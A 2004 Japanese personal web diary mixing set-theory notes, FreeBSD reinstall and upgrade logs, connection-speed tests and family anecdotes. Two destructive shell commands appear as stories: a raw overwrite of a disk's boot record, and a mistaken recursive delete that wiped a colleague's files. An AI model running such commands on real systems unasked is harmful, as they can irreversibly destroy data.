最後の定理は正則な極限基数はかなり巨大であることを示しています。歴史的にも正則な極限基数は最初に提示された「巨大基数」の例と言うことが出来ます。実を言いますと今までの公理(ZF 公理系)から正則な非可算極限基数の 存在は証明できません。しかしながら正則な極限基数の存在は、すべての集合論研究者がそれを信じているそうです(＊)。正則な極限基数のことを 弱到達不可能基数と呼びます。これは弱到達不可能基数は「それより小さい基数からの通常の順序数からの構成」では不可能であることに由来する名前なのです。弱到達不可能基数で巾集合でも到達不可能であるもの (λ < κ ならば 2^λ < κ である κ) を、 到達不可能基数と呼びます。これは「それより小さい基数」から通常の集合演算では到達不可能であることを意味します。ここで非公式ですが集合のハイアラキー V_αの定義をします。
V₀ = 0
V_α+1 = P(V_α)
V_α = ∪_β<αV_β α が極限数のとき
後述の「正則性の公理」を仮定すると、任意の集合がある順序数 α に対する V_α の要素であることを導きます。直観的には到達不可能基数 κ を考えると、V_κ はその中の要素で「閉じてしまい」今までに定義した通常の集合演算では「外に出ることが出来ない」という感じで集合論のモデルになるのです。
[付記 2004年7月7日]
ある方に教えて頂いたのですが、「(弱)到達不可能基数の存在」をすべての研究者が信じているというよりも、「その整合性」を信じているという方が適切であるということです。例えば「弱い理論」を研究されている方は ZFC 自体を強すぎると考えられているそうです。

2004年5月28日(金)

FreeBSD-4.10R インストール
FreeBSD-4.10R がリリースされたそうで、昨晩寝る前に X24,R30 双方にアップデートをしかけておいたのです。手順としては、
cvsup を行う
# make buildworld
# make kernel KERNCONF=KAGAMI
# reboot
# make installworld
ということなので reboot の直前までの実行です。
# make buildworld && make kernel KERNCONF=KAGAMI
で、本日朝起きると守備良く双方コンパイルが完了していまして、X24 はそのまま会社に持っていって起動たところ make installworld も問題なく終了したのです。一方 R30 の方ですが、こちらはサーバーでありますし、こんなおおはまりもあったことなので、朝あんまり時間がない状態や、ましてやリモートでは恐くてリブートできません(^^;。という訳で今晩おうちに帰るまでは PREREELASE の状態のままだったりします。ちなみに FreeBSD-4 系統は現在 4.11 まで予定されているそうですが、いやはや現在の FreeBSD-5 系列の状況を見ているとほんとに大丈夫なのか、と少々心配なのであります。
↑ちゃんと起動しました。

2004年5月27日(木)

全然分からなかった互除法
互除法の方法だけは中学で習うのかな (良く分からないです)。ただしそれが正しい「最大公約数」が求める方法である理由は高校にならないと習わなかったと記憶しています。つまり、
1. a を b で割った商と余りをそれぞれ q,r とすると a = bq + r (r<b)
2. したがって b と r の約数は a の約数。つまり a と b の約数。
3. 同様に r = a - bq とすると、a と b の約数は r の約数。つまり b と r の約数。
4. したがって a と b の約数全体と b と r の約数全体は一致する。
5. よって a と b の最大公約数は b と r の最大公約数。
ということだと思うのですが、完全に中学の範囲を越えていると思います。それを「やりかただけ」とはいえ、小学生のモカにに教えたのたのも無謀なのですが、なんと教えた本人は高校一年のとき 1,2,3,4,5 全部分からなかったのです(^^。そもそも高校一年までは数学(いや全教科か...)出来なかったし。高校二年生のとき半年間位で、数I から数III まで三年分全部勉強して、学校で一番出来るようになったのがちょっと自慢だったりします(^^。
オークションの谷山さんグッズ欲しい(^^。でもここ三ヵ月位で「集合論・基礎論本」
- Thomas J. Jech,Karel Hrbacek著 Introduction to Set Theory
- Kenneth Kunen 著 Set Theory
- Thomas J. Jech 著 Set Theory
- Wilfrid Hodges 著 A Shorter Model Theory
に５万円近く投資して、極度の金欠状態だったりします。

2004年5月26日(水)

ますます深まる mopera の謎

先日お願いしておいたらなんとありがたいことに実験をして下さった方がおられまして(ほとんど名指しですが^^)、それによりますと @FreeD のアクセスポイントとして DTI を使用しても mopera を使用しても通信速度の違いは誤差程度とのことなのです。ということで私も正確な数値を出すためにちょいと真面目に実験をしてみたのです。実験方法はおうちの /kernel(3055225バイト)を http(fetch 使用)と圧縮 scp で X24 へ転送です。

試験項目転送時間速度

http 1回目 268秒 91200 bit/sec

http 2回目 293秒 83419 bit/sec

http 3回目 278秒 87921 bit/sec

scp 1回目 257秒 95104 bit/sec

scp 2回目 207秒 118077 bit/sec

scp 3回目 219秒 111605 bit/sec

うーむ、いまいち転送時間にばらつきが多いような気がしますし、実は正式に時間を計測する前の段階で、特に scp においてかなりの一休み現象がみられたのです。最初は scp の圧縮と V25.bis 圧縮の関係で問題が発生するのかとも思ったのですが、通常の http でも転送時間にばらつきがある様なので関係なさそうだし。東京のあたりは大阪近辺より混んでいるのか、それとも一見緑のランプがつきっぱなしなのですが、本当は電波状況があんまり良くないのか、謎は深まるばかりなのです(^^。

＃お忙しいところ実験して下さりありがとうございました。

2004年5月25日(火)

突然増えたウイルスメール
なんか数日前に Yahoo にユーザー登録したらウイルスメールが激増。しかも今までほとんどなかったのに Received: フィールドに Yahoo のアドレスがたくさん...。むむむですな(-_-)。
＃全部 clamscan に捕捉されているので実害はなかったりします。

2004年5月24日(月)

モカちゃん互除法覚える
自分で言い出した割には文句を言いながら塾の宿題をやってるモカなのですが、宿題の量が異常に多く、さらには分母と分子が大きい分数を約分しなければならずなかなか苦戦している様なのです。そこで秘法を伝授(^^。要するに高校を卒業した人ならだれでも知っているはずの互除法ですな。約分するには分母と分子の最大公約数が分かれば良いのでそれを求める方法です。例えば 221 と 117 の最大公約数を求めるには、まず大きい方を小さい方で割ることから開始して、
221 ÷ 117 = 1 あまり 104
117 ÷ 104 = 1 あまり 13
104 ÷ 13 = 8 あまり 0
という訳で次々に割る数を余りで割っていって、割り切れた時の「割った数」 (この場合 13) が最大公約数という、あたりまえと言えばあたりまえの事実なのですが、もちろん小学生に理屈を示すのは無理なので、「やり方」だけ教えたのですがはたしていつまで覚えているものか...。ちなみに塾の先生は答えがあっているだけでは許してくれず、「どうして・理由は」と鋭く追求してくるそうなので、はたしてモカちゃんどう対応するのか。ちょっと興味があったりします。

2004年5月23日(日)

Yahoo オークション
実は二女が Yahoo のオークションでとあるアニメ系の商品を落札したいと言い出しまして、まあ Yahoo というのはあんまり好きではないのですが、とっても欲しそうだったので、次の条件で許可したのです。
- あなたは未成年でしかも女の子なので会員になったり落札したりするのは私の名前で行う。
- もしトラブル等が発生してお金を払ったのに商品が届かない場合、世の中の勉強になったと思いあきらめる。
- 当然それにまつわる諸経費は自分で負担すること。
ということで Yahoo の会員登録(無料)と、「Yahoo!プレミアム」という入札を行う権利(月額 300円位)みたいなのの会員になったのです。で、落札自体は他に入札者がいなかったということで、うまいこと最低価格で落とすことが出来まして、本日先方様から確認のメールも届いたのです。まあ Yahoo がどうのこうのより、出品した方がちゃんとしているかどうかの方が重要だと思うのですが、メールの文面を見る限り非常にきちんとした方と思われるので一安心なのです。ちなみに二女としては、今後もオークションで欲しいものがあったら購入したいということですので、しばらく Yahoo に月額 300円支払い続けることになりそうです。
＃結局おやばかで 300円のうち半分の 150円を補助してあげることに
＃なったりしました。うーむおろかな(^^。

2004年5月22日(土)

激とろ mopera 接続
実を言いますと、大分前にドメインを取得した時に、その維持料金が一月あたりおよそ 500円必要である、ということでいくらかでも経費を削減するために @FreeD 接続に使用していた月額 300円の IIJmio モバイルアクセスサービスを解約したのです。もちろん解約したからといって @FreeD を使用できなくなるわけではなく、 DoCoMo が運営している @FreeD を使用しているユーザーには無料の mopera ネットサーフィンというサービスを利用することにしていたのです。ところが最近電波状況が良さそうなところで使用の場合でも ssh 等で一文字入力するとエコーバックがとても遅い場合が頻発するようになってきたのです。さらにファイル転送等を行うと、たびたび一休み現象(転送中に一時固まること)が発生するようなのです。たしか @FreeD 自体は回線交換方式を使用しているので、電波状況さえ良好であるならば、データーリンクレベルでの一休み現象は発生しないはずだと思うので、これは mopera のサーバーもしくはバックボーンがトラフィックに比して貧弱であるか、もしくは無料ユーザーに対して流量制限(といっても 64Kbps なのでたいしたことはないと思うのですが)を行っていると推測されるのです。
いやはやいくら無料とはいっても、このブロードバンド時代にたかだか 64Kbps の速度に対して一休み現象がでるとは、「ただほど高いものは無い」の典型と言えるのかも知れません。というわけで IIJmio のサービスに再度申込をしようかと考えているところなのでありますが、もし実験できる環境の方がいらっしゃりましたら、混んでそうなそうな時間に有料のサービスとの速度の比較を教えて下さるとうれしかったりします(^^。

2004年5月21日(金)

続・札幌出張
今日は9時から北大で昨日の作業の確認をして朝の 10時半頃完了。台風は思った程たいしたことないらしく、飛行機は大丈夫そう。ということで同行の人と一緒に遅い朝ご飯を食べて、11時半頃札幌駅から千歳空港に向かう。定番の「白い恋人」とか子供用の小物アクセサリーとかおうちへのおみやげを買って 14 時の飛行機で羽田到着 15時40分。どうせ会社にもどってもほとんど退社時刻なのでそのままおうちに直帰(^^。

とある研究室の前のライラック
さすがに北大は広いですな

クラーク博士
偉いのだ

2004年5月20日(木)

へたってきた電池
札幌出張で気が付いたのですが、なんと X24 の電池が 1時間15分位しかもたなくなっているのですねー。最初は 2時間15分位使えたはずなので、いよいよ電池の寿命が近づいてきた感じなのです。毎日会社とおうちで使いっぱなしで、行きと帰りに電源を落すという最悪のパターンなので仕方のかも知れないのですが、買ってから一年半位でだめになってくるとはちと早いですな。かといって新しい電池を買うのもとっても高いし...、困ったものなのです(-_-)。
札幌出張
今日から一泊の予定で札幌出張なのです。今羽田空港のロビーで書いているのですが、今日はともかく明日は台風がくるそうで、帰ってこられるのだろうか...。
で仕事の方はちょっと問題があったのですが、なんとか解決しまして、夕食を「時計台ラーメン」で食べた後ホテルにチェックインしたのでが、そこのホテルが無線 LAN インターネットサービス付きだったのです。本当はロビー以外の場所では接続用のアンテナが必要と書いてあったのですが、試しに部屋の中で dhclient wi0 としてみたら特に問題なく受理されまして、ちょっと一休み現象があるものの、 @FreeD よりは快適に使用できる環境だったのです。
ところでこういう機構ですと、とても暗号化されているとは思えず、試しにとあるコマンドで wi0 を...いやいやそんなこと私は絶対にしないのです...(^^。まあ少なくとも内容までは見ていないのですが、こういう場合インターネットサービスの説明書に「送受信パケットがまる見え状態ということを了承して使用して下さい」ということは書くべきだと思います。ちなみに私の場合は Web もメールも全部おうちとの ssh トンネル経由なので全く問題ないのであります(^^。

2004年5月17日(月)

T40 復活の儀
会社の N さんが T40 で Windows/Linux の環境を Windows だけに変更しようということで、ハードディスクの隠しパーティションから Windows を再インストールしようとしたのですが、起動時にマスターブートレコードが GRUB を見に行ってしまい(そのとき GRUB はすでに消されていた)ブートしなくなったそうな(^^。ということで「起動したら T40 ちょーだい」という約束 でマスターブートレコードの書き換えです。普通は fdisk /mbr とかすれば書きかわるのですが、DOS フロッピーがなかなか見つからないのと、そもそも T40 はデフォルトでフロッピーが付いていなくて CDROM に焼いたりするのもとっても面倒だったりします。なので得意の FreeBSD 登場でして、前回おおはまりしたときの経験を生かして、LiveCD でシェルに落ちて FreeBSD の fdisk の実行なのですが、いまいちマスターブートレコードの書き換え方法が分かりません。だんだん面倒になってきたので「えーっと失うものはなんにもないのですよねー。どうせ私のものになるのだし」と確認して、
# cat /boot/mbr >/dev/ad0 (^^;
の実行です。まあ自分の PC ですとここまで過激なことをする勇気はなかなか出ないのですが(おい^^)なんとか正常にブートする様になり Windows の再インストールも順調に進んだのです。
で、お約束通り T40 を頂こうと思ったのですが、N さん曰く、「起動したらあげる、というのは起動する直前まで有効な約束で、もう起動してしまったらやはり私のもの(-_-)」という訳の分からない論理で結局いただけなかったのです(あたりまえ^^)。いやはや、私を含めて数学なんて勉強した人は自分に都合の良いいいかげんな論理(詭弁)を弄する場合が多いのですが、そんな約束を信じた私がばかだったのか。今後は十分注意しないといけませんな(^^。

2004年5月16日(日)

ℵ_α の基本演算
[集合論雑記目次]
ℵ の有限個の加算と乗算は次の性質により完全に決定されます。
[定理]
α $\leq$ β のとき ℵ_α + ℵ_β = ℵ_α・ℵ_β = ℵ_β
証明の概略ですが、ω_α x ω_α に標準的な整列順序を導入し、超限帰納法によりその整列順序を表現する順序数が ω_αを越えないことを示すのです。
[ω_α x ω_α の標準整列順序]
(u₀,v₀)∈ω_α x ω_α, (u₁,v₁)∈ω_α x ω_α に対し次の順序を考える。
(i) (ii) (iii) のいずれかが成立するとき (u₀,v₀) < (u₁,v₁) と定義する。
(i) max(u₀,v₀) < max(u₁,v₁)
(ii) max(u₀,v₀) = max(u₁,v₁) で u₀ < u₁
(iii) (i) (ii) が成立せず v₀ < v₁
この順序が整列順序になるのは(場合分けが多くちょっと面倒なのですが)容易に証明できます。さて良く知られているように ℵ₀・ ℵ₀ = ℵ₀ は容易かつ具体的に証明出来るので(手抜きが多くなって来た...)、帰納法の仮定として β<α に対し ℵ_β・ ℵ_β $\leq$ ℵ_β とします。
ここでもし ℵ_α < ℵ_α・ℵ_α とすると、 (a,b)∈ω_α x ω_α が存在し
ℵ_α $\leq$ |{(x,y)∈ω_α x ω_α|(x,y) < (a,b)}|
が成立するので、任意の (a,b)∈ω_α x ω_α に対し Z = {(x,y)∈ω_α x ω_α|(x,y) < (a,b)} とおいたとき |Z| < ℵ_α を示せば良いのです。ここで ω_α は極限数なので、a∈δ, b∈γ なる δ < α, γ < α が存在し θ=max(δ,γ)+1 とおくと θ < ω_α で帰納法の仮定により |θ|・|θ| $\leq$ |θ| が成立し(|θ| に対応する ℵ_γ を考える)、Z ⊆ θ x θ であることも容易に分かります。したがって、 |Z| $\leq$ |θ|・|θ| $\leq$ |θ| < ℵ_α
[系]
n + ℵ_α = ℵ_α + n = ℵ_α
n・ℵ_α = ℵ_α・n = ℵ_α
ℵ_α + ℵ_α = ℵ_α
ℵ_α・ℵ_α = ℵ_α
ここで n は自然数、即ち有限基数とします。さてここで ℵ_α と ℵ_β の巾、例えば ℵ_α^ℵ_β はどうなるかといいますとこれが全然分からないのです。といいますか基数の巾の大きさこそが集合論創設以来の大問題でして、特に 2^ℵ_α(即ち |P(ℵ_α)|) が ℵ_α+1 になるかどうかというのが大問題で、これらが等しくなるという予想を「一般連続体仮説」と言います。一般連続体仮説はゲーデルにより今までこの日記で記述した公理群と矛盾しないことが証明されています(ゲーデルの L)。またコーエンによりその独立生も証明されています(強制法)。実を言いますと、本日記での集合論雑記の第一目標はこれらの無矛盾性と独立性の証明のアウトラインまで追いかけることだったりします。基数の算術的な性質はもうすこし詳細に述べなければならないのですが、そのあたりは必要があったら言及することにして、次回からは正則基数等の話題です。

2004年5月15日(土)

モカちゃん猫にひっかかれる
今日は小学校で子供会のお遊びがあったそうで、学校にゆく途中でその辺を歩いてた猫を捕まえようとしたらしいのです。ところが猫もさるものひっかくもの、「にゃんにゃんにゃんばりばりばりーーー、ぎゃわ～～～」ということでなんと逆襲にあってしまったのですねー。

いやはや最初に見たときは冗談で赤インクかなんか塗ってふざけてるのかと思ったのですが、良く見るとこれはほんとに痛そうですな。う～～～とっても可哀そ。にゃんにゃんにゃん(^^。

2004年5月14日(金)

るんるん自転車
隣の席の B さんと話をしていて、「自転車って便利で楽ちんで特に下り坂が気分良いけど上り坂がきついよねー」という話になったのですが、なんとこの瞬間に人類史上最強とも言える画期的な最新物理法則を発見したのです。内容を具体的に書きますと、なんと、
自転車でどこかを往復するとき常に下り坂を走る方法がある。
という驚くべき発見なのです。そんなばかなと疑う人はまずは下の図を良く見て下され(^^;。図のまるいのは地球のつもりでして、まずは A 地点から B 地点に自転車で向かって進む状況を考えます。すると左の図より明らかなように、自転車は下の方に向かっていまして、これは間違いなく下り坂なのであります。

それでは逆に帰るとき B地点から A地点に向かう場合は登り坂になってしまうのではないかと、まあ普通はそう考える訳ですが、物理学の基本原理として、「物理法則はすべての観測者にとって同等でなければいけない」というものがあり、例えばアインシュタインの相対性理論などもこの観点から発見されているのです。ということは右図のように地球を回転させて考え、 B が図の一番上にあるとしても全く一般性を失わないわけで、これまた右の図より明らかに 地点 Bから地点 Aまでは常に下り坂になるわけなのです。
むむむむっ、これはとんでもなくすばらしい発見だ(^^;。論理的にも物理的にも一切疑わしい点やあいまいな点がない！！。世の中には「完璧」と呼べるのは少ないのですが、この推論と結論を「完璧な物理理論」と言えることは疑いの余地がありません。さらには自転車をこいだりするエネルギー節約のため環境にも役立つ、と言うわけで近年中にノーベル物理学賞と平和賞の同時受賞となることは間違いありませんな(^^;。

2004年5月12日(水)

続・おおまぬけ
お隣の席の人から叫び声が...。訳を聞くとこんなコマンドを打ち込んだそうで。
$ find . | xargs rm -f *~
いやはや何を勘違いしたんだか、まことにお気の毒(^^。
おおまぬけ
FreeBSD で新規にいれた ports のサービスが動かないからって、/usr/local/etc/rc.d/xxxx.sh の中をいじって
xxxx_enable="YES"
と直接編集したことがあるのは絶対に内緒なのでした(^^。
＃いちおう後で気が付いたのですが...。

2004年5月11日(火)

おやすみ
体調悪く休み。一日寝てたら少し回復。

2004年5月9日(日)

今日は母の日
ということで奥様の母上にも来て頂いてみんなで食事をしたのです。

2004年5月8日(土)

選択公理と整列可能定理
[集合論雑記目次]
次の公理を導入します。
[選択公理]
X を集合として任意の x∈X が空でないとする。こととき X から ∪X への関数 f が存在して、任意の x∈X に対し f(x)∈x を満たす
f を X 上の選択関数と呼びます。選択公理は選択関数の存在を主張し、直観的意味は、「空でない集合の集まりがあったときそれらの集合から一つずつ要素を選べる」ということなのです。ここでまず注意事項なのですが、X が有限集合の場合、選択公理は必要なく、この公理は単に集合論の土台となる一階述語論理における「∃・存在する」の形式論と、領域が有限な場合の「∀・すべて」が有限個の「かつ」と等価に変形可能であることの帰結なのです。しかし X の各要素が有限でも X 自体が無限集合の場合「選択関数」の存在は他の集合論の公理系からは証明出来ません。選択公理により例えば次の数学の定理が証明出来ます。
任意の線型空間は基底を持つ
任意の可換環は極大イデアルを持つ
任意のフィルターに対してそれを含む超フィルターが存在する
コンパクト空間の直積はコンパクト
選択公理は具体的に対象を指定せずに存在を主張する公理であり、初期にはその妥当性に関して色々な議論があったのですが、数学における超越的な「存在証明」に対する有効性により、現代数学のかなりの部分がこの公理に依存しています。さらにゲーデルにより証明された選択公理の他の公理からの無矛盾性により、少なくとも「矛盾」という観点からのこの公理に対する疑いは無くなったのです。選択公理により「任意の集合は整列可能」であることが証明出来ます。
[定理]
任意の集合は整列可能である
X をが空の場合は自明なので、空でないと仮定し f を P(X) - {φ} の選択関数とします。NOT(a∈X) なる a を固定し、
g(x) = f(X - ran(x)) x が関数で X-ran(x) が空でない場合
g(x) = a その他の場合
と定義して g に対して「超限帰納法による関数の定義」を適用すると、
u(α) = g(u|α)
なるものが存在し、置換公理により g(θ)=a なる最小の順序数 θ をとると u|θ は θ から X への一対一上への関数とります。この結果により任意の集合はある ℵ_α と基数が等しくなり、ここで正式に X の基数が外延として定義可能となります。

2004年5月7日(金)

未来からの本
実は先日 2年くらい前に買った、マーティン・リース著「宇宙を支配する 6つの数」(ISBN4-7942-1076-9) を会社の H さんにお貸ししたのですが、なんとすばらしい発見をして下さったのです。下の写真は「訳者後書き」の部分でして、おっきくすると分かりやすいのですが、いやはやずいぶん未来に翻訳された本のようですな(^^。

ちなみに 6つの数というのは、
重力と電磁気力の比
核融合効率
宇宙の曲率
宇宙定数
宇宙のゆらぎ比率
宇宙の次元
で、これらの値がちょっとでも異なっていたら宇宙に生命は生まれなかったであろうという主題のもとに、比較的最近の宇宙論の成果を分かりやすく説明したとても面白い本なのです。
＃どうせ間違えるなら「西暦 13000002001年」の方が面白いかな(^^。

2004年5月6日(木)

数学集合論谷山浩子 BSD
なんていう検索が来まして、世界で唯一つこのページがヒットするという、こんなに見事な検索をするからには知ってる人に違いない、と思ってアドレスやブラウザを見るとやはり知り合いでいつも遊びに来て下さっている方らしかったのです。実を言いますと彼は数日前に新しい激速ノート PC を購入しまして、それ以来、
かがみさんはどうしてそんなに遅い PC を使ってるの～(-_-)
なんて不愉快なことをのたもうているのです。もちろん新しい PC ということでここの URL がブックマークに入ってなくて検索で遊びに来て下さったのですが、いやはやちょっと前までは「かがみさんのノート PC はいいなー」と言ってた人が、ちょっと良い PC を購入しただけでこんなに態度が変貌するとは全く人間というものは信用できないものですな(^^。
＃ログの詳細をあんまり書くのは反則だと思うのですが、
＃この件に関してはご本人の了承を頂いております。

2004年5月5日(水)

二女たまごっちを買う
モカちゃんのたまごっちをうらやましそうに見ていた二女ですが、やっぱりこういうのって高校二年生位でも欲しくて欲しくてたまらなくなるらしく、本日我慢できなくなって自分のを買ってしまったのですねー。なんかたまごっちどうしの通信機能があるそうで、二人でデータの交換を行っているようです。いったいどんなデーターを交換するのかは良く分からないのですが、「ぎゃ～～～うんちもらっちゃったー」とか叫び声が聞こえてくるのです(^^。
＃ごろごろしているうちに連休終ってしまった...。
＃でもずいぶん疲れが取れたような気がするのでまあいいか(^^。

2004年5月3日(月)

モカちゃんたまごっち
良く知らないのですが、最近たまごっち第二次ブームなのだそうで、ご多分にもれずモカ姫も二ヵ月前位から欲しがっていたのです。ところがバンダイ商法というかなんというか、前回と同様になかなか手に入りにくいのですねー。
ところが本日奥様とモカとスーパーをうろついていたら、運良く一つだけ残っていまして、さっそく大枚 1,980円で購入です。

いやはやそれにしてもこんな手間がかかるおもちゃのどこが面白いのかいまいち分からないのですが、とにもかくにも姫が喜んでいるので良しとしましょう。
＃高校二年生の二女がうらやましそうに見てました(^^。

2004年5月2日(日)

ℵ(アレフ)の定義
[集合論雑記目次]
選択公理を仮定すれば P(ω) は整列可能なので ω より大きい基数が存在することは明らかですが、「選択公理」を仮定しないで ω より大きい基数が存在するかどうかは自明ではありません。これに関して次の重要な定理が成立します。
[定理]
λ を基数とするとき λ<κ なる最小の基数 κ が存在する。
λ∈ω の場合は明白なので λ が無限基数の場合に証明する。λ の部分集合 A で整列順序構造を持ち(これは同型を除いて一意に定まる)その整列順序に対して NOT(λ<|A|) なるもの全体を T とします。T の各要素に関してその整列順序と同型な順序数が一意に定まるので、置換公理によりそれらの順序数全体は集合となります。それを κ とすると κ が定理の条件を満します。なぜなら、
- κ が順序数であること。すなわち κ が ∈ に関して推移的なこと。
 β∈α∈κ とすると κ の部分集合 A とその上の順序構造が存在し α と同型で NOT(λ<|A|)。α が順序数で β∈α なので β⊆α が成立し A の部分集合 B とその上の順序構造で β と同型なものが存在する。このとき明らかにNOT(λ<|B|) が成立するので β∈κ
- λ<|κ| であること。
 λ∈κ なので λ $\leq$ |κ| が成立。ここでもし |κ|=λ ならば κ∈κ となり矛盾。
- κ が基数であること。
 η∈κ とするとκ の作り方により NOT(λ<|η|)。ここでもし |η|=|κ| とすると NOT(λ<|κ|) となり矛盾。
- λ<η<κ なる基数 η が存在しないこと。
 もし上の条件が成立すると λ∈η∈κ となり η がκ の要素となるのは κ の定義に反する。
この定理により任意の基数 λ に対して「次の基数」が存在することが言え、この基数を h(λ) と表すと、α 番目の無限基数という重要な概念が定義可能となります。
[ω_α の定義]
ω₀ = ω
ω_α+1 = h(ω_α)
ω_α = ∪_β∈αω_β α が極限数の場合
ω_α は基数(従って順序数)なのですが、基数であることを強調する場合 ℵ_α と書くことが多いのです。またこの場合 ω_α を(全く同じ対象を表すのですが) |ω_α| と記述する場合もあります。ただしこれらの記述はしばしば混乱する場合があり、文脈により順序数として考えているか基数として考えているか明白な場合いずれかの記法の任意の一つを採用します。次回は選択公理を導入し、任意の集合は整列可能であることを導きます。この場合任意の集合はある順序数 α に対する ω_α と「同じ基数を持つ」ことになります。
＃そう言えば有限・無限の定義を忘れていた(^^。
＃集合 X がある n∈ω に対し |X|=n を満たすとき有限といい、
＃そうでない場合無限と言う。

2004年5月1日(土)

自宅サーバー FreeBSD 再インストール
現在零時過ぎですが X24 へのサーバー環境移行がうまくゆきまして(結構はまった^^)、こちらで運用中です。R30 のバックアップや FreeBSD 再インストールは今日の昼間かな。
と書いた直後から 4.10RC のインストールを始めたのです(^^。まず CD からののインストールは全く問題なく順調にゆきまして、よしよしこれは全然問題ないな～、ということでリブートを行ったのですが、
起動してすぐに固まります(-_-)
むむむっ cvsup した 4.10RC では動作していたのにどうしてなのだろう。そもそも CDROM からはちゃんとブートするのに。ということで BIOS の設定とかいろいろいじったのですが全く事態は改善しません。そこでもしかして FreeBSD-5 系列ならば動くのではないか、と安易なことを考えまして、こんどはそちらのイメージをダウンロードしてみたのですが、
CDROM から起動中にリブートします(-_-)
てなことをやっているうちに朝の 4時頃になり眠くなってきたので一休みしてから、今度は FreeBSD-4.9R なら入るであろうと思ってインストールしたらこれも最初の現象とおんなじでだめ。さらに FreeBSD-4.8 にダウングレードしてもこれまた同様にだめ。こっこれはまずい！！。なんとかして昨日まで動作していたのと同等の kernel を入れないと永久に立ち直れないのでは...。で、いろいろやってみたこと。
- 4.10-RC-i386-disc1.iso を X24 側で vnconfig/mount して中身を解凍。そこの kernel を X24 の kernel で置き換える(^^;。R30 側でその場所を指定してネットワークインストール。これは結構うまくゆくのではと期待したのですが、ブートした CDROM に入っている kernel が / に書き込まれてだめ。
- さらなる作戦としては X24 と R30 のディスクを交換して X24 側でブートさせて kernel を(今使っている config でコンパイルして)書き換えようとしたが R30 のディスクは容易に取れないことが判明してアウト(^^;。
もしかしてこれはカスタムバージョンのブート CD を作る必要があるのかいな、もう一枚しか残ってないのに～、と思いつつインターネットでいろいろ検索したら、
LiveCD なるものを準備してインストールメニューで fixit を選択すると shell に落ちることが可能...しっ知らなかった～(^^;。
という記事を見つけまして、LiveCD とはなんぞやと思ったのですが、雰囲気として4.10-RC-i386-disc2.iso の様な気がしたので、さっそくダウンロードしまして、またまた vnconfig/mount して中身を見るとたしかに / 以下のイメージが入っていたのです。さっそく(今日 5枚目) CDROM に焼きまして fixit メニューでその CD を入れたところやっと shell に落ちることが出来まして、ハードディスクの / パーティションに対応するデバイスを /mnt にマウントし、X24 から kernel をコピーしたらやっとこブートするようになったのです。
そもそも R30 は FreeBSD-3 の頃から cvsup を繰り返して現在に至っているのですが、どうして自分で作った kernel だとブートするのに GENERIC kernel だとだめなのだろう。謎ですな。いずれにしてもこれから色々な環境を整備する必要があったりして、まだまだ時間がかかりそうなのです。
＃IBM ノート機をサーバーを使用している人ははまるかも...(^^。

2004年4月30日(金)

メンテナンスのお知らせ
自宅サーバーの ports 環境が余りにも汚いので、連休中に FreeBSD を再インストールする予定なのです。再インストール中は X24 を代替機としてサーバー化する予定なのですが、おそらく設定を間違えたりしてしばらくアクセス不能となる可能性が強いのです(^^。というわけで特に定期的に遊びに来て下さる方には多大なるご迷惑をおかけいたしますが、よろしくお願い致します。
手順の覚え書としては、
- R30 の /home/ 以下と /etc/ 以下をバックアップ。
- X24 に ipfw 等の環境を構築してサーバー化。
- X24 におうちの人のアカウントを作成。パスワードはすでに忘れているので(^^、それを牛に反映。それとも /etc/[master.]passwd ごと移行するか。
- R30 に FreeBSD 再インストール。
- R30 の環境設定。おうちの人の新パスワードは忘れないようにしておく。
＃R30 には FreeBSD-5 が入ると思うのですが、運用でしくじりそう...。
＃FreeBSD-4 にするか 5 にするかが悩みの種なのです。
＃あと牛の再インストールもしないと遅くて仕方がないし。

2004年4月29日(木)

連休開始
世の中では今日から七連休の人も多いのでは。私もどうしようかな～、とちょっと考えたのですが、家でごろごろしていても仕方がないし、明日は出勤ということで、カレンダー通り休むことにしたのです。まあ会社に行ってもうだうだしているだけできっとあんまり働かないと思うのですが(^^。明日の電車は空いてそうな気がする。

2004年4月28日(水)

いっかい休み
うーん最近さぼりが多いですな。

2004年4月27日(火)

特異点解消される
昨日書いた N さんの胃腸の違和感がなくなったそうで、いやはやとってもよかったですね。ということでまたまたお馬鹿話になりまして、私が「良かったですねー、特異点が解消されたんですよ」と言ったところ、N さん曰く、
かがみさんの頭には特異点がないね(-_-)
むむむっ私の頭は自明なベクトル場なのか...。さらに N さん曰く、
特異点がないということは進化しているということだからとっても良いのでは。猿は毛だらけだけど人間はあんまり毛がないでしょ。そもそも毛のある宇宙人みたことないし(-_-)。
ということで昨日余計なことを言ったばかりに、胃腸の調子が良くなった途端大反撃をくらってしまったのですが、学生時代数学を勉強した人が二人もいるとまったくろくな話題になりませんな(^^。
＃個人的には数学おばかねたは大好きなのですが...。

2004年4月26日(月)

腹黒ブラックホール

会社の先輩 N さんが先日歯にかぶせる金属を飲みこんでしまって、それからなんとなくお腹の調子が良くないということで、今日病院にレントゲンを撮りに行ったのです。ところが世の中には「N さんは腹黒いからレントゲンになんにも写らないのでは」なんて余計なことを言う人(私じゃない！！)がいまして、 N さんはとても純粋・繊細・温厚なすばらしい人なのにとんでもない失礼な発言なのです。幸い N さん異常なしで戻って来たので、お約束といいますか「腹黒」談義になりまして、

私やっぱり黒くってなんにも写らなかったのでは(おい^^)

Nさんうーんそうかも知れない

私もしかしてお腹の中にブラックホールがあって飲みこんだのを吸い取ってしまったのかも。違和感はブラックホールのせい？
ひょっとすると X 線もブラックホールに吸い取られたりして(^^。

Nさん特異点があるのかも知れない

私もし真性特異点(＊)だったら大変大変(^^

Nさんむむむっ真性特異点とは失礼な...。いくらなんでも極(＊)でしょ

私一位の極(＊)なら N さんの周囲をぐるぐるまわれば積分の計算ができますねー

Nさんうーん

私それにブラックホールって蒸発しながら熱出すからお腹あったまっていいんじゃないですか

Nさん無言...

なんて調子に乗って馬鹿な話をしたのです。いずれにしても異常なしでとっても良かったのですが、周り(私^^)があんまり馬鹿なので胃腸の調子が悪くなってしまったのだとすれば、これはひらにひらにあやまるしかありませんな。へへーーーー(^^。

＃ N さんは数学の大先輩でもあるのでした。

(＊) 真性特異点複素解析関数の点 a での特異点で、どんな自然数 n に対する (z-a)ⁿ を掛けても解消不可能なもの。この様な関数は a の任意の近傍で 2つを除いたすべての値をとる。想像するだに恐ろしい特異点。
(＊) 極複素解析関数の真性特異点でない特異点。それほど異常ではない。
(＊) 一位の極留数定理により積分計算に役立つとっても便利な特異点

2004年4月25日(日)

彗星見えず
